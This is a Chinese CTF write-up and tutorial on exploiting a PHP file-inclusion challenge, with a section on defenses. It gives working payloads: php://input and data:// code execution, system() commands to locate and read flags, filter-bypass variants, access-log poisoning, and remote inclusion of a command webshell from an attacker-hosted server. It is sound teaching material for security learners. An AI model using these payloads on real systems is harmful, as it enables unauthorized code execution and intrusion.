刷过几轮CTF Web方向的朋友,对“攻防世界:Web_php_include”这道题应该都不陌生。它几乎是PHP文件包含漏洞的教科书:一个典型的include $_GET['page'],加上一层过滤规则,逼着你把伪协议、代码执行、过滤绕过这些知识全串起来。这篇文章我会把这道题的完整解题思路、底层原理、常见变体和踩坑点全部拆开讲,主打一个“下次遇到文件包含,你能自己把路子走通”。
适合正在刷CTF入门题的新手,也适合做Web渗透或代码审计的朋友用来补一补文件包含漏洞的利用面。我尽量不用废话,直接讲透。
1. 先看懂这道题在考什么
1.1 文件包含漏洞是怎么产生的
PHP里有四个文件包含函数:include、include_once、require、require_once。它们的作用都是把目标文件内容引入当前PHP脚本中,并且目标文件里的PHP代码会被直接解析执行。听起来很方便,但一旦文件名来自用户输入,就出事了。
最典型的代码长这样:
<?php $page = $_GET['page']; include($page); ?>这种代码在真实项目里也不少见。很多老系统的模板加载、页面跳转、语言切换模块,都会写成include $_GET['xxx']或include $_POST['xxx']。开发者本意可能只是想根据参数加载不同页面,结果把整个文件系统的入口都交给了前端。如果用户传入page=../../../../etc/passwd,服务器就把系统用户文件内容带出来;如果传page=php://input,再在POST里塞一段PHP代码,直接就是任意代码执行。
攻防世界这道题的底层逻辑,就是这个漏洞模型。题目环境会把源码通过show_source(__FILE__)展示在最前面,等于直接告诉你“来审计我吧”。第一步就是读懂代码,找include点。
1.2 这道题把考点拆开看
Web_php_include这道题的核心考点有三个:本地文件包含、PHP伪协议利用、过滤绕过。
本地文件包含(LFI)相对基础,难在后续利用。因为直接include('/etc/passwd')只能读取文本,但大多数题目要的是RCE(远程代码执行)或读取服务器上的PHP源码。要达到这个目标,就得借助伪协议。这道题的代码里通常没有过滤,或者过滤写得很简单(比如把php://替换掉),因此需要你的payload绕过这层限制,把php://input里POST的PHP代码执行起来。
我刷过好几个版本的这道题,有的环境是直接裸的include $page,有的加了个str_replace("php://", "", $page),有的用preg_match匹配特定关键字。每加一层规则,利用方式就不一样。所以与其背payload,不如把原理吃透——题目怎么变都能打。
2. 动手之前,先把PHP的几个配置和行为机制搞清楚
2.1 三个关键配置项决定利用面
PHP文件包含能否玩出花,很大程度上取决于php.ini里的配置。我整理了一个对照表,做题和审计代码时可以直接对着看:
| 配置项 | 作用范围 | 默认值 | 对解题的影响 |
|---|---|---|---|
allow_url_include | 是否允许通过include/require包含远程URL或URL式流 | Off | 必须为On,php://input、data://才能在include时生效 |
allow_url_fopen | 是否允许打开远程URL文件 | On | 影响file_get_contents等函数读取URL,但不影响include伪协议 |
open_basedir | 限制PHP可访问的目录范围 | 未设置 | 如果设置严格,文件包含会被圈在特定目录内,绕过成本变高 |
注意区分allow_url_fopen和allow_url_include。很多人一开始搞混,以为开fopen就能用伪协议RCE。实际上,include一个远程URL需要的是allow_url_include=On;而allow_url_fopen只管file_get_contents('http://...')这类远程读取。CTF题里为什么会频繁用到php://input?就是因为很多题目的环境中,allow_url_include被特意打开了,这是出题人给的入口。
2.2 代码审计时要盯住的几个分支
拿到题目先别急着打,按这个顺序把源码读一遍:
- 看入口参数:是GET还是POST,参数名是什么,有没有默认值。
- 看包含函数:用的是
include、require还是file_get_contents。前两者会解析PHP代码,后者通常只是读文件。 - 看过滤规则:有没有关键字黑名单,是替换还是拦截,替换后是否会二次解析。
- 看输出方式:
show_source会直接把目标文件源码打出来,还是echo一个值。
在攻防世界这道题里,你会看到类似这样的代码:
<?php show_source(__FILE__); $page = $_GET['page']; if (isset($page)) { if (strstr($page, "php://")) { die("Hacker!!!"); } include $page; } ?>strstr是大小写敏感的,php://这个写法会被拦,但Php://、PHP://、pHp://都能绕过。这类细节就是后面要聊的利用点。
3. 伪协议实战解析:四种流方式横向对比
3.1 php://input:把POST体变成PHP代码
php://input是一个只读流,可以读取请求体中的原始数据。当它出现在include的参数里时,PHP会把请求体内容当作PHP代码执行。这个特性在PHP 5.2.0以后都支持,但要在include中使用它,依赖前面说的allow_url_include=On。
这种利用方式非常直接。比如目标代码是上面那个include $page,你只需要发送:
GET /?page=php://input HTTP/1.1 Host: 目标地址 Content-Type: application/x-www-form-urlencoded <?php phpinfo(); ?>服务器会直接执行phpinfo(),页面输出一大片PHP环境信息。此时你已经把文件包含漏洞升级成了任意PHP代码执行,剩下的事就是找flag。
用命令行打更干净,随手记下来这个curl模板:
curl -X POST --data-binary "<?php phpinfo(); ?>" "http://目标地址/?page=php://input"--data-binary会原样发送POST体,不会被curl做任何二次格式化,这是我最推荐的方式。
3.2 php://filter:不执行代码,但能把源码扒出来
php://filter是另一个高频伪协议,它的作用是读取文件并做流过滤,常用姿势是把文件内容base64编码后输出,从而绕过“include执行PHP代码”的特性,直接看到源码。
典型payload:
/?page=php://filter/read=convert.base64-encode/resource=flag.php服务端会返回一串base64,解码后就是flag.php的完整源码。这个方法最大的优势是不受allow_url_include限制,因为filter只是读取本地文件流,不需要开启远程包含。在很多题目中,即使php://input打不进去,php://filter依然能读源码,帮你拿到后续思路的关键信息。
3.3 data:// 和 file:// 的适用场景
data://协议可以直接在URL里内联编码的数据,比如:
/?page=data://text/plain,<?php phpinfo(); ?>或者base64编码版本:
/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+这两种都需要allow_url_include=On。data://的好处是不用额外发POST请求,一条GET就能完成代码执行,在有些要求“不能修改请求方法”的复杂场景里会好用。缺点是包含特殊字符时容易被过滤,实战中我会优先试php://input,再试data://。
file://协议则简单得多,用于读取本地文件,比如file:///etc/passwd。它没有代码执行能力,更多是在确认LFI存在时用来探测文件路径。
3.4 触发条件核对清单
当你面对一个文件包含点时,按下面的顺序做快速体检:
- 确认
include/require参数可控。可控性不达标,后面都免谈。 - 尝试
php://input+ POST代码。如果页面出现phpinfo,直接进入RCE阶段。 - 若被过滤,尝试大小写、双写、URL编码等绕过。
- 若
php://input无效,尝试php://filter读源码,判断过滤规则和文件路径。 - 若filter也异常,尝试
file://读取绝对路径下的敏感文件,或data://直接执行。 - 最后才考虑日志包含、session文件包含等间接手段。
这套顺序基本覆盖了大多数CTF题目的解法。
4. 完整解题实操:从外网探针到拿到flag
4.1 第一步:信息收集与漏洞确认
进入题目环境,第一眼看到的画面往往是show_source(__FILE__)输出的PHP源码。这时候不要急着乱传参,先把页面结构、题目提示、可能的路径信息记录一下。
确认include点之后,第一发请求建议用最保守的方式确认漏洞存在:
curl "http://目标地址/?page=php://filter/read=convert.base64-encode/resource=index.php"如果返回一串base64,说明include点可以打、filter没有被过滤,并且拿到了当前脚本源码。这一步比直接上phpinfo更稳,因为即使环境里allow_url_include=Off,你也能确定漏洞存在,而且能拿到源码来读过滤规则。
4.2 第二步:用php://input拿到代码执行
确认漏洞点之后,上主菜。用Burp或curl发送:
curl -X POST --data-binary "<?php phpinfo(); ?>" "http://目标地址/?page=php://input"如果页面出现phpinfo的大表格,恭喜,这一步已经拿到PHP代码执行能力。这时候你要做的不是马上读flag,而是先看几个关键信息:
phpinfo里的allow_url_include、open_basedir、disable_functions。- 当前目录路径,例如
DOCUMENT_ROOT。 - 扩展加载情况,判断能否用特殊函数。
如果你怀疑环境过滤了php://,先换PHP://input或pHP://input试一次。因为大小写绕过在这一步的成功率非常高。
4.3 第三步:定位flag文件并读取
拿到代码执行能力后,读文件的办法就多了。最朴素的是用system直接跑命令:
curl -X POST --data-binary "<?php system('find / -name \"*flag*\" 2>/dev/null'); ?>" "http://目标地址/?page=php://input"如果flag不在根目录,也可以先列目录:
<?php system('ls -la /'); ?> <?php system('ls -la /var/www/html'); ?> <?php system('cat /flag'); ?>命令执行不通(比如被disable_functions禁了system、exec等)时,也可以退一步,用highlight_file('/flag')、file_get_contents加echo直接把文件内容打出来。在CTF环境中,这类函数往往仍然可用。
4.4 备选路径:日志包含与临时文件包含
有几种情况会让php://input这条路彻底走不通:
allow_url_include=Off- 伪协议关键字被过滤得比较彻底
- 目标环境对POST长度或内容类型有限制
这时可以打日志文件。思路是先把PHP代码写进访问日志,再通过LFI包含日志文件,触发执行。比如向目标发送一个带PHP代码的User-Agent:
User-Agent: <?php system('id'); ?>然后包含日志:
/?page=/var/log/apache2/access.log页面就会执行日志里的PHP代码。这个技巧的难点在于日志路径不确定,常见的路径有:
/var/log/apache2/access.log /var/log/apache/access.log /var/log/httpd/access_log /opt/lampp/logs/access_log如果日志路径不对,可以结合php://filter读取Apache配置文件定位。另一种类似的思路是包含session文件,但需要提前知道PHP的session文件保存路径和session文件名,实战中较难猜,一般作为备选方案。
再补充一个比赛常用的LFI2RCE技巧——临时文件包含:通过上传一个文件,PHP会将文件缓存到/tmp/phpXXXXXX,再配合LFI包含这个临时文件执行代码。这个方法对PHP版本和上传条件有要求,属于高难进阶技巧,这里点到为止。
5. 绕过思路与变种:和过滤规则博弈
5.1 常见过滤及对应绕过
CTF题目最喜欢在有漏洞代码的前面套一层过滤,Web_php_include这道题的变种也不例外。我见过的主要有这么几类:
过滤php://关键字
使用str_replace("php://", "", $page),直接把php://替换为空。绕过思路是双写:
/?page=phphp:////input替换一次后变成php://input,成功绕过。因为替换后字符串再次进入include解析,等于“滤了个寂寞”。
大小写敏感过滤
如果过滤函数是strstr或preg_match('/php/i')没加大小写标记,直接换大小写:
Php://input PHP://INPUT pHp://inputPHP的流包装器解析协议名时不区分大小写,所以PHP://和php://效果相同。这是最省事的绕过。
过滤php关键字
有些过滤会把所有php字符串替换为空,比如你写php://input直接变成://input,没法用了。这时可以双写:
pphphp://input替换后变成php://input。或者利用php->filter等其他协议替代,比如某些场景下用data://text/plain,<?php ... ?>,因为它不依赖php关键字出现在协议名里。
过滤://或:
一些过滤规则会把://或冒号去掉。可以试试对冒号做URL编码,写成:
php%3a//input但这里有个坑:PHP流包装器的解析不一定会自动URL解码协议名,所以这种编码有时无效,有时有效,取决于过滤函数放在哪一层。如果过滤函数执行在include之前,字符串最终会原样进入include解析;如果过滤函数先做了urldecode再替换,那URL编码就没有意义。这个需要实际测试,不要一看网上payload能用就机械套用。
精确匹配参数值
如果代码是if ($_GET['page'] == "php://input"),直接写php://input会被拦。可以在后面加个查询串或路径试试:
/?page=php://input?a=1这个写法在真实环境里不一定通用,取决于PHP解析目标流的参数处理,但在一些题目里确实能绕过“等于比较”,值得一试。
5.2 当伪协议完全失效时怎么办
如果allow_url_include=Off,php://input和data://都打不了。这题还能做吗?能。
- 第一优先用
php://filter读源码,因为filter不受include限制,总能拿到东西。 - 读源码后看代码里有没有别的点,比如另一个文件自己include了某个固定文件,配合目录穿越越权读取。
- 尝试日志包含或者Session文件包含,前提是能找到路径。
- 检查是否存在文件上传点,上传带PHP后门的图片,再通过LFI包含这个图片马,达到RCE。
注意,这些手段在真实生产环境中属于高风险操作,且必须在有书面授权的测试范围内进行。CTF题目本来就是为此设计的练习环境,别拿这些payload去公网乱试。
5.3 远程文件包含(RFI)的边界
如果题目环境开着allow_url_include,并且没限制http://,你甚至可以远程包含自己的VPS上的恶意PHP文件:
/?page=http://你的服务器/shell.txtshell.txt里写:
<?php system($_GET['cmd']); ?>然后用/?page=http://你的服务器/shell.txt&cmd=id直接执行命令。不过CTF题目一般会禁用外网访问,这类RFI更多用在测试环境或内网渗透场景中。从解题效率看,伪协议的优先级仍然高于RFI,因为不用额外起服务器。
6. 踩坑实录:常见问题和排查技巧
6.1 四个打不进去的高频原因
POST体没被正确发送
用Burp测试时,别忘了在Body区域填原始数据,并且Content-Type要保持application/x-www-form-urlencoded或直接留空。如果Burp把POST数据自动做了URL编码,php://input读到的就是编码后的乱码,代码执行当然失败。用curl的--data-binary是最省心的。
页面没有回显,但代码可能已经执行
phpinfo()的输出页很可能被题目环境的某种输出处理吞掉。不要只看页面空白就认为失败,可以换成墙角型payload验证,比如:
<?php echo "test123"; ?>如果页面出现test123,证明执行成功,只是输出位置或渲染有问题。
page参数名搞错
题目里面的参数不一定叫page,有的变种叫file、path、include、url。以源码为准,别套模板。
过滤规则比你想象的更严格
有时候需要组合绕过:先大小写,再双写,再加参数。遇到这种情况,我的做法是把过滤源码用filter读出来,看清规则后再写payload,不要盲目试错。
6.2 从报错和返回特征反推后端
PHP的报错信息有时候就是最好的情报。如果你看到:
Warning: include(): Failed opening 'php://input' for inclusion说明allow_url_include为Off,这条路堵死了,换filter或日志。
如果页面直接输出“Hacker!!!”,说明命中了过滤规则,换个曲线绕法即可。
如果php://filter返回的不是base64而是一串乱码,通常是编码过滤器没生效,检查read=convert.base64-encode是否被过滤规则删掉。
记录一个自己的小习惯:所有请求都用Burp的Repeater保持原始格式,响应里带BOM或换行符问题时,把显示切到Hex模式看一下。很多纠结半天的“无回显”,其实是特殊字符干扰了肉眼判断。
6.3 关于路径穿越的补充
当页面直接包含文件且没有过滤../时,常规LFI路径穿越也能读文件:
/?page=../../../../etc/passwd但这道题由于伪协议的存在,路径穿越通常不是最优解。它更适合用来确认漏洞存在性和判断目录深度。记住一个原则:能直接RCE就不只读文件,能读源码就不盲目扫目录。
7. 反守为攻:文件包含漏洞的防御思路
7.1 入口限制优先于过滤
防御文件包含漏洞,最核心的一条是:不要用用户输入直接拼接include文件名。如果业务非要动态包含文件,用白名单映射:
<?php $pages = [ 'home' => './pages/home.php', 'about' => './pages/about.php', 'contact' => './pages/contact.php', ]; if (isset($pages[$_GET['page']])) { include $pages[$_GET['page']]; } else { include './pages/error.php'; } ?>这样用户只能选字典里固定的几个值,什么伪协议、目录穿越都失去了意义。
7.2 运行时配置加固
如果代码无法立即重构,最低限度也要在PHP层面做配置:
allow_url_include = Off allow_url_fopen = Off open_basedir = /var/www/htmlallow_url_include关闭后,php://input在include里的利用直接失效;open_basedir则把文件访问圈在web目录内,即使存在LFI也不能随意读/etc/passwd或/flag。
7.3 代码层防御的常见误区
很多代码审计新手觉得“我过滤掉php://和../就安全了”,这是最大的误区。过滤规则总有绕过角度,大小写、双写、编码、参数拼接、日志注入,哪个都能把黑名单撕开口子。真正的防御必须建立在“输入不可控”或“输入被白名单化”的基础上,黑名单只能算临时缓解。
另一个实操层面容易被忽略的点是open_basedir配置後,允许包含的目录也要同步调整。之前见过某项目开了open_basedir但把/tmp漏在外面,攻击者上传文件后先包含/tmp下的临时文件,依然拿到执行权限。边界设置要跟着业务模型走,不能配完就万事大吉。
按照我个人的习惯,每次审计遇到文件包含,至少会给业务方提三条建议:入口白名单、关闭远程包含、目录隔离。这三条能挡住绝大多数利用方式,至于日志包含、临时文件包含这类进阶手法,基本都建立在代码无法RCE、只能间接打文件的场景下,把入口堵死是最省钱省力的方案。
往后你遇到任何文件包含类的题目,先不要急着套payload,按“确认入口 → 看清过滤 → 试探伪协议 → 读到源码 → 执行/读取目标”的节奏走,思路会比背几百个payload清晰得多。这道题练会了,很多PHP包含类的比赛题就都只是姿势变形,底层的博弈逻辑完全一样。